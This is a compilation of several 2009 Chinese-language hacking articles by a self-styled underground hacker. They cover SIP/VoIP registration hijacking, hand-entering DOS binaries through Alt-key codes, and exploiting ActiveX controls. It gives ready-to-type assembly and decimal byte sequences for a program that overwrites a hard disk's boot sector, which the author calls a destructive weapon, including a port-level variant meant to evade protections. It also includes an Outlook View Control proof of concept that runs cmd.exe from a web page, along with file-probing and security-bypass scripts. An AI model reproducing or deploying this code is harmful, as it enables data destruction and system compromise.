Copyright (c) 2009 Czy Invicta <Hack01@Live!cn>
All rights reserved.

前言
~~~~~~~~
本文所讨论的是众所周知的VoIP，我对目标VoIP部署了两次攻击。第一次攻击演示了劫持用户的VoIP注册签名信息和随后的通信。第二次攻击演示了窃听VoIP通讯信息。虽然VoIP是使用不同的信号协议，然而我将着重于SIP攻击，这是一种“IETF标准”相关的攻击。在这两个部署中，其中包含了拒绝服务攻击。

快速介绍SIP
~~~~~~~~~~~~~~
SIP（IETF RFC 3261）是在VoIP通信中使用安装和拆除电话广泛实施的技术标准。下图描述了（高层）SIP将通过电话交换信息。简要说明请看下面。

SIP的呼叫建立和拆除

在上图的步骤1中，用户设备与域名注册着谁负责维护各自区域中所有用户登记记录的数据库。用户在VoIP登记是必须的，因为它能提供远程联系人。当用户Bob想连接到用户Alice，他将向代理服务器发起一个INVITE请求。代理服务器负责路由SIP消息并定位用户。当代理服务器接收到INVITE请求，它试图执行一系列措施，如DNS查询和路由SIP消息等。下面即将看到的是注册劫持。

注册劫持
~~~~~~~~~~
下图展示了有效的SIP注册信息，它用于通报用户的联络点。这表明用户的设备将要接受呼叫。

注册请求

该“REGISTER”请求包含了“Contact:”首标，这表明了用户设备的IP地址（无论是VoIP软/硬电话）。当代理收到了一个发来的呼叫请求（一个INVITE），它会执行查找，找出各自用户的联系点。在这种情况下，此用户电话201-853-0102可以发送到192.168.94.70。代理将INVITE请求转交到该IP地址。你可能会注意到端口是5061。其实它违反了RFC 3261。

下图显示了注册请求，事实上，它是由攻击者发送修改后的版本。

一个注册请求修改版本

在一个被用来生成此请求的工具SiVus，下图所示。

使用SiVus生成欺骗注册信息

劫持攻击工作列举如下：
1. 禁用合法的用户注册。可以这样做：
·履行对用户的设备进行拒绝服务攻击
·撤销注册用户（另一个攻击不包括这个）
·生成一个注册的竞争条件，其中攻击者在较短的时间内发送多次注册请求（如每隔15秒），以推翻合法用户的注册请求
2. 发送一个攻击者IP地址（而不是合法用户）的注册请求

下图演示了攻击的方法：

攻击方法和步骤

第一次VoIP的攻击部署的尾声
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
能够产生这种攻击的原因如下：
1. 该消息是以明文方式发送的，这使黑客能够收集、修改和重播它们；
2. 该消息的SIP信号不支持信息内容的完整性，从而修改和重播攻击无法检测到。

最后，如有疑问请写信件并发送至我的Email(Hack01[at]Live.cn)

# AUTHOR: HACKER NETSPY [CZY]

Copyright (c) 2009 Czy Invicta <Hack01@Live!cn>
All rights reserved.

如果您愿意的话，访问http://www.esnips.com/nsdoc/573a9b21-9c14-4a86-af8e-05ba8b520921/?action=forceDL(第一次点击尚未成功下载，请重复第二次)即可在线获取“企业级Oracle数据库攻击.pdf”文档；此外，你也可以向我发送E-mail(Hack01[at]Live.cn)同样可以得到文档，但不能保证及时回复。

尾声：

未经我的允许，不能将此文档张贴并上载入任何社区。

# HACKER NETSPY [CZY]

Copyright (c) 2009 Czy Invicta <Hack01@Live!cn>
All rights reserved.

==> 0x01 [情形]
~~~~~~~~~~~~~~~~~~~
 假设你没有调试器、编译器，此外，如果你的运气足够好，你还有被目标机器的主人保留的一个简单的十六进制编辑器。如果你曾经未遭遇过这种条件，而现在就利用这些条件。我马上就能告诉你，你的日子不好过。在此文章中描述的大多数方法都要求努力和耐性。这些方法给计算机硬件和它的主人提供了无限的威力。
 例如，你可以实现用密码来保护硬盘，加密几个扇区，引进病毒或者某些破坏性的程序，以及使用你手头一定具备的有限应用程序集来做各种事情。
 我必须提醒你，这里描述的许多操作都与法律有很大的冲突。例如，破坏存储在硬盘中的信息会引起严重的麻烦。千万不要试图去勒索任何人。如果你能加密硬盘或者用一个密码来保护硬盘的内容，不要期待因为提供这个密码而获得任何的金钱回报。相反，你可能会得到监狱的“回报”。

==> 0x02 [技巧]
~~~~~~~~~~~~~~~~~~~
 如果你至少还有十六进制和二进制计算器可用，就很幸运了。但是，在有些情形中，甚至连这些工具也没有。当然，这有些夸张，如果你把这种情形再扩展一些，就可能说，有时，你甚至没有一个标准的计算器可用。
 但是，黑客必须准备应付最坏的情形，必须仅仅依赖他们自己的破解潜能。由于在这些操作中并没有什么困难的事情，就更应该只依靠自己的潜能。怎样才能将任意数值转化成二进制表示呢？为了实现这一点，就必须用2来除它，在最低的位上写下余数。一直进行这样的处理，直到没有数可除为止。也就是说，我们必须记住被2整除的条件，每一个人在小学都学过这种知识。如果一个数的最后一位数可被2整除，那么这个数就可被2整除。手头甚至没有一个计数器时，我们怎样来进行这种计算呢？
 我们可以采用传统的方法，即使用笔和纸，并将数排成列。在使用这种方法时，进行十六进制运算并不是很难。
 但是，这种方法有些不方便。进行心算或者记住如下的序列要容易得多：1，2，4，8，16，32，64，128...
 显然，从0到255的每一个数都可被表示为上述序列中某些数的和，并且任何幂次都只能出现一次。我将在一个例子中演示这一点。假定你需要知道99的二进制表示。由于这个数是奇数，其和中必定包含1，也就是说，最低位等于1。从99中减去1，得到的结果就是98。如果你从这个结果中减去2，那么你就得到96，很容易看出96=32+64。因此，99的二进制表示就是11000011。进行心算需要一些技巧。但是，并不困难，而且，如果你掌握了这种技巧，你就能摆脱计算器。
 进行同样的处理，就能将任何数从二进制转换为十进制，例如：
 1001b == 1+2*0+4*0+8*1 == 1+8 == 9
 这种方法也适用于十六进制：
 0x1 0x2 0x4 0x8 0x10 0x20 0x40 0x80
 这种数值的数学运算都更容易用心算来实现。
 对所有人来说，上述的方法并不是什么新的知识。大家在学校都学过。令人奇怪的是，离开学校之后，大多数人都很快地忘记了老师所教的东西，其实，这也是很合乎情理的。
 但是，有时也会出现如下情形：一个人面对面地对着一台没有安装任何应用程序的机器。在这种条件下，不论你愿不愿意，都必须进行上述的心算运算。或者，想像一下更实际的情形，当你坐火车（或者公共汽车或者飞机）出行时，在研究一些打印出来的资料（如果你在纽约曼哈顿生活并乘坐地铁时，看资料是你的最佳选择），但是，很不幸，忘记了带计算器。不论这种情形是多么的少见，但是还是可能出现。

==> 0x03 [考验]
~~~~~~~~~~~~~~~~~~~
 我强烈地建议你，只在自己的计算机中，或者只有得到主人的明确许可时，才在其他人的计算机中进行此文章所描述的实验。如果你同意这些要求，那么，我们就继续前进。我们已经看到了心算运算，用这种方法来分析一个至少为几千字节的应用程序是否现实呢？这要花费多少时间呢？
 也就是说，是否有人需要这样做呢？如果是，那在什么条件下需要呢？我的回答是肯定的，当然有人需要这些信息。首先，当根本没有其他选择时，就必须使用这种方法。另一方面，即使是在几里地长的转储中，一个经验丰富的黑客也可以（甚至只需要一瞥）发现保护机制的典型序列（当然，情况可能相反）。
 最典型的情形是，当你需要确定刚得到的一个文件是否存在病毒的时候。反汇编几十条指令就能立即弄清楚实情，并确定文件是否被感染。并不需要如此。但是，这种情形经常发生。
 有时，你的手头并没有安装在计算机中的编译器。在这种条件下，想像你需要编写一个简单的程序（例如，如果标准的反病毒软件不能删除病毒，而你却想要删除病毒）。这类任务可能更加复杂：想像你手头既没有编译器，甚至也没有十六进制编辑器。
 似乎在这种条件下难以做任何事情。这类系统的管理员坚定确信这类系统有很好的保护，可以100%地防止入侵者和未授权用户。这只不过是一种常见的谬论。在shell中存在使用<Alt>键和数值键盘来创建二进制文件的方法。从前，这个功能实际上在IBM XT/AT的每一本手册中都被详细地描述过，但是，现在实际上也不再被提及。
 好吧，让我们再次回到古代生活的命令提示符中，并创建一个小小的二进制文件。这个文件只是将控制返还给shell，除此之外不做任何的事情。为了实现这个目标，执行如下的命令：
 Copy con test.com
 这个命令将调用作为操作系统的一部分而提供的最原始的文本编辑器。但是，在这种情形中，这个编辑器提供的功能已经足够了。确定Num Lock指示灯是亮的，然后按住<ALT>键，不要松开它，在数字键盘上按表示要输入字符的十进制代码值的键，输入195。完成输入后，释放<Alt>键，再按<Ctrl>+<Z>来关闭文件并退出编辑器。
 启动刚刚创建的文件。它不会做任何有用的事情，只是不会死机而已。反汇编这个文件之后，你就能了解，它仅仅包含一条指令，即“RETN (0xC3 == 195)”。这是一个很普通的例子。如果你输入如下所示的序列，这个实现就会得到显著改善：
 <Alt> + 180 <Alt> + 09 <Alt> + 186 <Alt> + 09 <Alt> + 01 <Alt> + 205 ! 195 <Alt> + 32 Hello,Sailor!$ <Ctrl> +<Z>
 很容易猜出，你将获得一个在屏幕上显示指定字符串的COM文件。但是，特别注意如下事实：你只是使用内置在shell中的工具来创建这个文件，这个工具在每一台安装了Windows的机器中都是默认存在的。
 进行同样的处理，就能编写任何的后门程序，绕过保护，以及病毒体等等。同时，还可以仔细想一想并做一些有用的事情。例如，可以删除病毒或者恢复一个被破坏的磁盘。
 好了，让我们来反汇编刚刚创建的文件，并特别注意其中的一个关键问题：
seg000:0100 start proc near
seg000:0100   mov  ah, 9
seg000:0102   mov  dx, offset aHelloSailor ; "Hello, Sailor!$"
seg000:0105   int  21h      ; DOS - PRINT STRING
seg000:0107   retn
seg000:0107 start endp
seg000:0108   db 20h ;
     ^^^^^^^
seg000:0109 aHelloSailor db 'Hello, Sailor!$' ; DATA XREF: start+2↑o
 为什么其中有一个无关紧要的字符？是否可以去掉它？唉，但是这是不可能的：
00000000: B409  mov  ah, 009 ;
00000002: BA0901 mov  dx, 00109
   ^^
00000005: CD21  int  021
 尤其是，使用上述的方法不可能从键盘中输入字符#8。而字符串的偏移地址是0x108。要去掉字符8，就可以执行如下的指令序列：
MOV  DX, 0x109
DEC  DX
 顺便提一下，“DEC  DX”是一个单字节指令，而且两种变体的长度都相等。因此，选择哪一种特定的实现完全取决于你的偏好：
 用键盘快捷键<Alt>+<digit>不能输入某些字符，是一件令人失望的事情。当你发现这些字符的数量很大时，你就会更加生气。这里提供了这类字符的一个清单，我强烈建议你记住它，以避免在用键盘进行输入时出错：
0,     3,    6,   8,
16 (0x10), 19 (0x13), 27 (0x1B), 255 (0xFF)
 因此，你必须在编程上很优秀，以保证不会需要这些字符。特定的实现完全取决于你的想像，就如上面所显示的那样。所以，每一个问题都有许多解决方法。
 我将对本文章的这个话题进行直接的讨论，如果在这种原始中自然而优雅地汇编程序。最简单的回答如下：首先，在一个安装了较多工具的机器上编写一个程序，并将得到的程序打印出来。然后，当在目标机器上输入程序时，你就能参考这个打印出来的程序（或者如果你的记忆力足够好，干脆记住这个清单）。虽然这种方法有很多的缺点，但它需要的智力努力最少，而且在许多情形中都很管用。但是，这种方法与我们要讨论的话题无关。因此，回到刚才的情形，即你坐在一台几乎“赤裸的”目标计算机前，只有纸和笔，甚至没有一个计算器可用。不过，作为Windows系统的集成部分的浏览器支持Visual Basic脚本，因此可以说，你手头还是有一个强有力的工具。使用它甚至可以编写出一个十六进制编辑器（这是与我们讨论的话题无关的另一个话题）。
 在此工作的一个主要困难是，在访问变量（标签）时，我们并不知道它的偏移地址。例如，在前面提供的例子中，就是这种情形。当字符串的偏移地址必须被装入DX寄存器时，只能猜测它的值。因此，必须用纸和笔来通过第一道管卡，给所有的变量和标签命名。当程序编好后，就准备好了确定它们的实际偏移地址的方法，可以立即直接使用。完成这个任务后，你就能在计算机中输入得到的程序清单。
 另一种可能的方法是在使用它们之前声明变量，例如：
MOV AH, 9
JMP SHORT $+20
DB 'Hello,Sailor!'$xxxxx
 1234567890123 456789
    1111 111111
MOV DX, 0x100+2+2 ; 0x100 - load address, 2 - length of MOV AH, 9, 2 - JMP length
 JMP SHORT $+20为字符串保留20个字符串。假定这就足够了（即使不是完全等于字符串中的精确字符数）。对于向前引用的标签也可以使用同样的技术。也就是说，即使没有纸和笔，一个有经验的专家也能编写出复杂的程序。这是一种“杂技”，同时要求经验和天才。但是，它也能提高你控制机器的各个方面的能力。你是否需要这种技术完全取决于你自己。现在，即使是结构化编程语言都已经过时了，这种劳动密集的“手工”编程方法是不可能流行的。
 为了用实际的例子来说明这种方法，我们来尝试编写一个删除引导区的小程序。注意，有意地使用这个程序来破坏信息和对目标计算机进行任何破坏都是非法的。如果你这样做，你就会被送上法庭。因此，只能在你自己的计算机（或者在得到主人明确许可的计算机）中使用它，而且只是用于教育和实验目的，比如测试安全系统。许多管理员删除一些服务文件和工具，以及软驱，光驱和USB接线，并错误地认为这样的工作站就得到了防止恶意用户的100%的保护。这个程序将清楚地向这些人说明他们是错得多么厉害。
 让我们开始工作。首先，你必须掌握最简单的方法：编译程序并得到其打印出来的信息，可以从打印出来的信息输入到任何没有问题的机器中。
00000000: B80103  mov  ax, 00301 ; Read one sector.
00000003: B90100  mov  cx, 00001 ; Sector - 1, cylinder - 0
00000006: BA8000  mov  dx, 00080 ; Head - 0, first HDD
00000009: CD13   int  013    ; Call disk service.
0000000B: C3   retn     ; Exit.
 注意，在得到的转储中出现了被禁止的字符：#0－两次，#3－一次，以及#9－一次。我们来修改程序，以避免使用这些字符：
00000000: B80102  mov  ax, 00201 ;
00000003: FEC4   inc  ah
00000005: B90101  mov  cx, 00101 ;
00000008: FECD   dec  ch
0000000A: 8AFE   mov  bh, dh
0000000C: B280   mov  dl, 080   ;
0000000E: BB0401  mov  bx, 00104 ;
00000011: FE4711  inc  b, [bx][00011]
00000014: CD12   int  012
00000016: C3   retn
 现在需要将得到的转储转化成十进制格式。最好的方法是编写一个特殊的程序（用任何合适的编程语言都可以在几分钟之内编写出这样的程序）：
#184 #001 #002 #254 #196 #185 #001 #001 #254
#205 #138 #254 #178 #128 #187 #004 #001 #254
 'G' #017 #205 #018 #195
 现在，在目标计算机上输入这个序列就行了；这样，你就能得到一个功能强大的破坏武器。小心谨慎地使用它。
 幸运的是，BIOS版本提高了特殊的保护，这种保护会警告对第一个引导扇区的修改企图。此外，还可以安装特殊的软件，可以用于捕捉和阻止这种写操作。例如，Windows XP就是这样做的，因此，在它的控制下启动这个程序就不会产生期望的效果。但是，你完全可以打开一个shell会话，并直接访问I/O端口，以在底层上操作硬盘驱动器控制器。一般地，控制器编程的话题与本文章的话题无关。但是，我将提供一个示例过程，它通过I/O端口来覆盖引导区：
MOV  DX, 1F2h
MOV  AL, 1
OUT  DX, AL
INC  DX
OUT  DX, AL
INC  DX
XOR  AX, AX
OUT  DX, AL
INC  DX
OUT  DX, AL
MOV  AL, 10100000B
INC  DX
OUT  DX, AL
INC  DX
MOV  AL, 30h
OUT  DX, AL
LEA  SI, Buffer
MOV  DX, 1F0h
MOV  CX, 513
REP  OUTSW
 就我所知，没有任何流行的保护机制能够追踪和阻止这样的写操作。不过，这与Windows Servers 2008无关，这种操作系统不允许操作端口的应用程序运行，甚至在它进行这种操作时会关闭其窗口。
 如果你对这个领域的进一步实验感兴趣，就可以准备在目标计算机中用键盘的<Alt>键来输入这个程序。而且，这个程序可以进行一些潜在的优化。我不认为你会遇到任何的困难。

==> 0x04 [尾声]
~~~~~~~~~~~~~~~~~~~
 假如你所遭遇的上述情形再扩展一下，也就是说，没有反汇编器。而生活迫使你要在这种条件下编写一个原始的跟踪程序。在这样的条件下谈论破解是很可笑的。但是，如果现实是这样的时候（例如，加入计算机地下组织的测试），你又应该怎么做呢？
 基于这个话题，我将在此保持沉默，因为我将把它作为一个挑战问题来结束我的文章。
 如果你有疑问或想知道此挑战问题的解决方案（同样包括从前发表的挑战问题），请写信件发送至我的E-Mail(Hack01[at]Live{dot}cn)。

# AUTHOR: HACKER NETSPY [CZY INVICTA]

Copyright (c) 2009 Czy Invicta <Hack01@Live!cn>
All rights reserved.

==> 0x00 [前言]
~~~~~~~~~~~~~~~~~~~
 在本文章中，我并不对ActiveX控件的基本攻击方案进行讨论。我在这里所要讨论的是使用很多有趣的窍门和技术来开发利用ActiveX控件，无论你是渗透测试工作者还是计算机地下成员，这些窍门和技术你在测试的时候都可以用。当然，你首先必须掌握它的基本知识，这样你在阅读此文章的时候不会遇到困境而影响你的热情度。下面我将一一描述并写出例子代码来讨论特殊情况下值得掌握的一些技术。
 顺便提一下，为了避免坐牢或丢掉工作的危险，确保你具有在组织或企业的网络中执行下面技术的许可权，我强烈建议你手头有一张打印出来的许可文件。

==> 0x01 [异常处理：使用try-catch]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 通常来说，ActiveX控件是不会泄露本地硬盘存放了哪些文件的，但是ActiveX控件返回给Internet Explorer的报错信息经常给攻击者提供这些有用的信息。为了在JavaScript中返回这些异常，需要在调用产生报错信息的方法或属性的测试代码中添加try-catch块。从根本上讲，这些漏洞存在于那些名为Load,Open或*File的方法或属性中。基本上，要对任何试图加载或打开文件的行为进行测试。
 下面是关于如何构建测试用例的一个简单例子，但它不一定完善。在这个例子中，一个攻击者想要证实是否存在设置了ActiveX控件的ConfigLocation属性的文件。如果文件被成功加载，代码将不会进入catch部分；如果文件没被加载，代码就会进入catch部分。
<OBJECT id="AX" classid=CLSID:12345678-1234-1234-1234-123456789ABC>
<script>
try {
AX.ConfigLocation = "c:\\secret.txt";
Alert("File exists!");
}
catch (oException) {
alert("File does not exist");
}
</script>
 仅因为控件弹出一个异常而使代码进入catch部分，这并不一定意味着文件不存在。潜在地，加载的时候许多事情都可能失败（比如取消跨域警告），这些也可能导致出错。但是，如果控件提供出错的细节，攻击者就能探查到。
 当代码遇到catch块的时候，不同的错误会用不同的数字来表示。这个特定的例子讲述了ConfigLocation属性是如何工作的：
1. 取得文件名的值
2. 首先检查扩展名是否为.xml或.txt
3. 然后检查文件是否存在
4. 最后，检查它是否为一个有效的XML文件
 这里，至少有3个不同的位置会出错，也正因为如此，返回的不同错误号码会给攻击者提供重要的信息。
 为了分析这些具体的信息，攻击者可以在他们的catch声明中增加逻辑以寻找要出现的特定的异常号码，像下面这样：
<OBJECT id="AX" classid=CLSID:12345678-1234-1234-1234-123456789ABC>
<script>
try {
 AX.ConfigLocation = "c:\\secret.txt";
 Alert("File exists!");
}
catch (oException) {
//该数字用来表示文件不存在
 if (oException.number == "2471683291") {
  alert("File does not exist");
 }
 else {
  alert("File exists!");
 }
}
</script>

 我顺便提示一下，典型地，如果不同出错事件的异常号码相同，那么异常的描述（或消息）属性也将相同。但也并不总是如此，它还要依赖于在代码的什么位置设置描述。

==> 0x02 [返回值]
~~~~~~~~~~~~~~~~~~~~
 程序员可能已经作了很好的工作，并且已经确认文件存在和不存在的时候，所能被捕获的异常是不能被区别的，但实际上还有其他方法能够找出文件是否真的存在。那么*Load方法会返回什么吗？
 比如，考虑一下下面的代码，它调用了一个OpenFile方法。假设尝试过try-catch方法和几个其他的用例以后，每件事情看起来都不错。
<script>
OpenFile("c:\\secret.txt");
</script>
 研究再深入一点，你会了解到OpenFile的返回值是一个布尔值。有意思。当攻击者想要用它的时候，会发生什么事情呢？
<script>
//返回值为true，文件存在
if (OpenFile("c:\\secret.txt");
{
 Alert("File Exists!");
}
else
{
 Alert("File Does Not Exist");
}
</script>
 OpenFile的返回值是个布尔值（虽然使用long值或其它数据类型也一样能工作很好），你可以根据自己的需求使用。仔细看看这个例子中的返回值，它告诉你文件是否存在。

 我在这里说一个技巧，那就是，除了使用try-catch和考虑返回值之外，不要忘了也要考虑事件。有时候事件触发的次数也会泄露信息。一个相关的更微妙的问题是定时攻击。即使控件没有泄露什么不能加载某个配置文件，但是它花费的事件有可能让攻击者知道这里是否有人在尝试解析该文件。

==> 0x03 [内嵌对象]
~~~~~~~~~~~~~~~~~~~~~~~
 我喜爱这个小秘诀：一旦Internet Explorer中的脚本引擎有接口指针，那么它自己及其内部就不再安全。这就意味着，你可以通过安全对象访问不安全对象并且不会有警告提示，这当然也意味着那些安全对象实际上并不安全。
 继续看下面我给出的例子。Microsoft Office Outlook View控件对那些想要集成Outlook的功能与其他插件的互联网解决方案的提供者和开发者来说是很有用的。此例中这个控件也被证明是不安全的。例子表明，一个ActiveX控件是怎样允许Web页面中的脚本访问更强的COM对象，而Internet Explorer从不允许脚本创建这些COM对象。
<object id="ViewControl"
classid="clsid:0006F063-0000-0000-C000-000000000038">
<param name="Folder" value="Inbox">
</object>
<script>
function DoIt() {
oItem=ViewControl.object.selection.Item(1);
oWSh=oItem.Session.Application.CreateObject("WScript.Shell");
oWSh.Run("cmd.exe /k echo ProofOfConcept");
}
setTimeout("DoIt()",2500);
</script>
 它是如何起作用呢？攻击者首先指定<object>标签中的一个PRARM为Inbox，因为Inbox是最可能包含条目的文件夹之一。
<object id="ViewControl"
classid="clsid:0006F063-0000-0000-C000-000000000038">
<param name="Folder" value="Inbox">
</object>
 运行的第一个脚本是SetTimeOut("DoIt(),2500);调用它，会等待2.5秒钟（攻击者需要这个时间，因为有时Outlook需要一点时间来和邮件服务器对话并加载Inbox）。然后，脚本调用一个函数（DoIt），真正有作用的内容是在这个函数里。
function DoIt() {
oItem=ViewControl.object.selection.Item(1);
oWSh=oItem.Session.Application.CreateObject("WScript.Shell");
oWSh=Run("cmd.exe /k echo ProofOfConcept");
}
函数DoIt是怎样工作的呢？
oItem=ViewControl.object.selection.Item(1);
 ViewControl.object自己定位了控件的对象模型，这比与Internet Explorer对话更好。后者忽略了这种情况：如果引用ViewControl.selection而不是ViewControl.object进行开发，Internet Explorer将针对Selection属性返回一些不同内容。ViewControl.object.selection是MailItem对象的集合，即使不是由JavaScript直接创建的，它也可以被存储在JavaScript的变量中。

 注意：创建测试用例时，一定要确定你是调用对象本身而不是Internet Explorer文档对象模型。这一点你可通过在调试器中设置断点，在脚本中使用附加的对象。

 因为ViewControl.object.selection是一个集合，它支持Item方法从集合中返回单个的条目，所以攻击者就能得到Inbox中的第一个条目并将它放入oItem中（Outlook集合是基于1的，它不同于Internet Explorer集合，后者是基于0的）。Outlook View控件不会再被脚本引擎引用了。现在，脚本有了一个常规的Outlook MailItem对象。MailItem对象并不安全，但是因为该对象是由Outlook View控件而不是Internet Explorer创建的，所以不会有报警提示。

 我顺便说一下重要提示，控件创建的对象并不属于Internet Explorer安全模型。这意味着你也需要对另外那些对象的安全问题进行测试，即使你的程序员没有编写这些对象。因为你的控件把那些对象视为和浏览器一样安全。

oWSh=oItem.Session.Application.CreateObject("WScript.Shell");
 该对象支持哪些属性和方法呢？经过验证，脚本能够先获得消息传送应用编程接口会话，然后再获得主要的Outlook.Application对象。该对象有一个CreateObject方法，这种方法会在本地系统创建一个COM对象，所以Windows脚本宿主WScript.Shell对象（可以运行任何命令）是一个不错的选择。
oWSh.Run("cmd.exe /k echo ProofOfConcept");
 通常，WScript.Shell对象是非脚本化的，因为不具有低安全设置和提示的Internet Explorer是不能在脚本中创建这个对象的。但是，Outlook View控件创建了Outlook.Application对象，Outlook.Application对象接着创建了WScript.Shell对象。这样，对象就变得可以在Internet Explorer中脚本化了。
 怎样识别出这些类型的对象呢？查找能够返回对象的对象、方法和属性的集合。其实，我列举出有5种数据类型要密切注意：
·IDispatch和IDispatch*对象肯定是个对象。注意，后缀的星号（*）表明这种类型是个指针而不是值。
·VARIANT和VARIANT*的意思是数据类型不明确，可能包含任何内容（包括对象）。注意，没有星号的VARIANT数据类型仍然可以包含接口指针。
·数据类型是在调试器的查看窗口确定给对象的。
·数据类型有能够在Internet Explorer中用alert(variable)返回[object]的变量。
·不可识别的数据类型。

 我将提供一个窍门，VBScript的TypeName函数在运行的时候返回指定对象的类型。

==> 0x04 [控件持久性——浏览器帮助对象(BHO)]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 考虑一下HTML页面卸载时并不会随之而去的COM组件。BHO是这种组件的一个例子。它们不同于ActiveX控件，因为它们通常是在Internet Explorer启动或用户单击菜单项的时候被加载，而且它们会对不同的事件（如，定位Web页面和提交表格）进行响应。BHO有完全的访问权限来有计划地操纵Web浏览器和Web页上的所有内容。BHO能从网页被脚本化，而且它们和其他ActiveX控件一样易受再利用攻击。
 如果你的控件有BHO功能，或用户从页面离开后控件仍保持激活状态，那么你就要仔细考虑下面这个控件的例子了，它允许任意恶意用户跟踪受害者的互联网使用情况。

 提示：在你测试的时候，不要把每个ActiveX控件看做是一个独立单元，而应该把它看成是一个更大环境中的一部分。

 这个功能特征管理Web服务器的协商线程，并在Internet Explorer中打开特定页面的时候出现，该特征会在应用程序窗口的底部显示协商工具栏。然后用户可以在这个工具栏中使用命令来增加协商服务器，指定要显示什么协商信息，或者预先指定Web服务器上的一个特定的Web页面或目录。
 在这种特定的情况下，我列举出控件有以下两种有趣的方法：
·开启协商工具栏
·设置默认的协商服务器
 除了与服务器的通信机制有弱点之外，控件本身似乎并不怎么有害。一旦协商工具栏被激活，控件就和指定的服务器通信并以此来查看服务器是否有针对特定URL的协商。通过使用HTTP请求来完成这些内容，其中，HTTP请求是在页面的URL中传送的。而用户则作为查询字符串的参数。

 我再顺便提一下：切记ActiveX控件和BHO本质上就是Win32可执行程序。一些工具比如Network Monitor和其他的安全测试工具，在帮你评估控件的实际行为时，其价值是无法估量的。不要想当然地以为浏览器产生了所有的网络通信量。

 这样攻击者就能启动工具栏，并将他们的服务器设置为默认服务器。然后，攻击者只需要浏览他们的网络日志文件，就可以查看受害者访问了哪些站点。如果某站点在受害者登录或提交敏感信息时，在查询字符串参数中（甚至在安全套接层）传送会话信息或其他有私密信息的内容，那么对于该站点来说更有害。

==> 0x05 [服务器重定向]
~~~~~~~~~~~~~~~~~~~~~~~~~~~
 虽然我在Blog中并没有写太多基于Web的测试用例，但如果你是常客的话，会发现我写过的文章中多次提到并使用服务器重定向技术，从而可以看出此技术是多么重要。如果你的控件要求用户基于URL中的域来判定是否安全，或者提交一个URL给用户，要求允许使用一种可能不安全的方式来处理这个URL，那么你就需要针对服务器重定向进行测试。假设控件只有唯一的方法LoadFromURL，此方法接受一个参数，一个用来加载的URL字符串值。就像下面代码：
<script>
AX.LoadFromURL(http://www.good.example.com/goodpg.asp);
</script>
 调用此方法时，会弹出对话框询问用户是否真的想要从good.example.com域加载文件。用户信任good.example.com，所以用户当然就信任文件。然后，改变URL:
<script>
var sURL = "http://www.good.example.com/?redir=";
sURL = "http://www.bad.example.com/badpg.asp";
AX.LoadFromURL(sURL);
</script>
 对话框再次弹出，询问用户是否想从good.example.com加载页面。用户信任good.example.com，所以单击OK按钮。于是，控件将从bad.example.com加载文件。
 为什么会发生这样的事情呢？重定向是完全合法的，许多网站都这样做了。在此例子中，good.example.com站点上存在一个页面，它能将用户重定向到这个站点的其他页面上。
 这是如何起作用的？ASP夺取redir查询字符串的请求值，并发布Response.Redirect命令，将它作为要重定向的URL放在redir查询字符串（bad.example.com）中发生。然后Response.Redirect向客户端回应一个302（对象已被转移）或类似HTTP应答，同时带有一个要求客户端请求的新地址（bad.example.com）。
 攻击者再利用此控件和服务器的重定向来欺骗用户，使用户从一个他可能并不信任的URL加载文件。一些开发人员可用的API自动支持重定向，所以，隐藏在表象之下。事实上，是为攻击者服务。

==> 0x06 [绕过浏览器安全设置]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 在Internet Explorer 8中，Internet Explorer已经很大功夫减轻来自互联网的本地跨站脚本攻击。为了对本地跨站脚本攻击实施一个完全的解决方案，ActiveX控件也应该遵守规范而且不能重定向到本地内容。如果Internet Explorer禁止这种重定向，你的ActiveX控件却重定向到本地内容，那么此ActiveX控件就会成为一个可能被攻击者用来绕过Internet Explorer安全设置的方法。
 要找到这些漏洞，首先确定控件中加载文件或使用URL的位置。接着，尝试使用ActiveX控件的这些元素加载本地文件。最后，通过查看控件的行为或使用其他工具（如FileMon）来评估你努力的结果。这里是它如何工作的一个简要例子:
<object
classid="clsid:{12345678-1323-3214-3211-34514321342}"
id="objBuggy">
</object>
<script>
//控件在一个新窗口中加载脚本指定的URL，它要在此窗口中处理HTML
objBuggy.IsEditMode=1;
//很好地重定向到了本地文件
//注意在不含此ActiveX控件的IE浏览器中使用同等的脚本将会失败，
//因为IE的安全策略会阻塞这种行为
objBuggy.ShowHTMLWindow;
</script>

==> 0x07 [名字空间和行为]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 二进制行为像ActiveX控件一样工作，它绑定到特定的HTML标签，并且能用标签的属性初始化，或通过引用标签的ID或name脚本化。行为有能力控制HTML元素的所有方面（捕获事件、设定值等）。从安全的角度讲，二进制行为就像是ActiveX控件。
 一个特定ActiveX控件的程序员使用控件的ImportList方法来执行一个二进制行为对潜在的恶意攻击进行阻塞。在正常的用法中，控件是作为<input type=file/>元素的一个行为加载的，如下代码:
<object classid="clsid:{BDEADE9E-C265-11d0-BCED-00A0C90AB50F}"
id="LauncherObj" style="display:none;"></object>
<input id="SpreadsheetFile" Type="file" Name="SpreadsheetFile"
style="behavior: url(#LauncherObj);">
 HTML元素<input type=file/>不允许脚本设置value属性（其中包含要上传的文件名），否则恶意Web站点也能从用户硬盘上传任意文件。因此控件程序员就要增加一个安全检查，以确定控件只能被绑定到Type=file的HTML的<input>元素中。
 攻击者怎样绕过这种二进制行为的安全机制呢？没有任何方法可使控件能通过input元素直接访问文件。换一种方式，攻击者必须欺骗控件让它以为自己被加载到了一个input元素里，但实际上是其他的一些元素绑定到了这个行为上。这是利用HTML的名字空间和扩展实现的。
 总之，名字空间可被添加到任何HTML文档中，如下代码：
<HTML XMLNS:NETSPY>
 在此例子里，名字空间是NETSPY。通过将名字空间的名字预设给标签名，名字空间中可包含特定的HTML标签:
<NETSPY:IMG src="http://example.com/one.jpg">
 通过定义一个HTML名字空间，攻击者欺骗空间，使之认为它是通过<input type=file/>元素加载的。然后，通过设置扩展value=c:\filename.txt，攻击者可用控件来探测一个本地文件是否存在，还可探测其他的一些恶意行为。

==> 0x08 [尾声]
~~~~~~~~~~~~~~~~~~~
 在文章的尾部，我不得不提醒一下，ActiveX控件很容易被设计成自动化操作。利用这一点，对控件可能再次引入漏洞的特征和功能进行自动探测。就像我给自己量身定做的基于远程认证入侵的自动化实现代码（更确切地说，扫描、漏洞利用和自我植入等等一条龙服务）。此外，有疑问请发送信件到我的E-Mail(Hack01[at]Live{dot}cn)。

 感谢计算机地下组织成员C4[H]和我的哥哥!

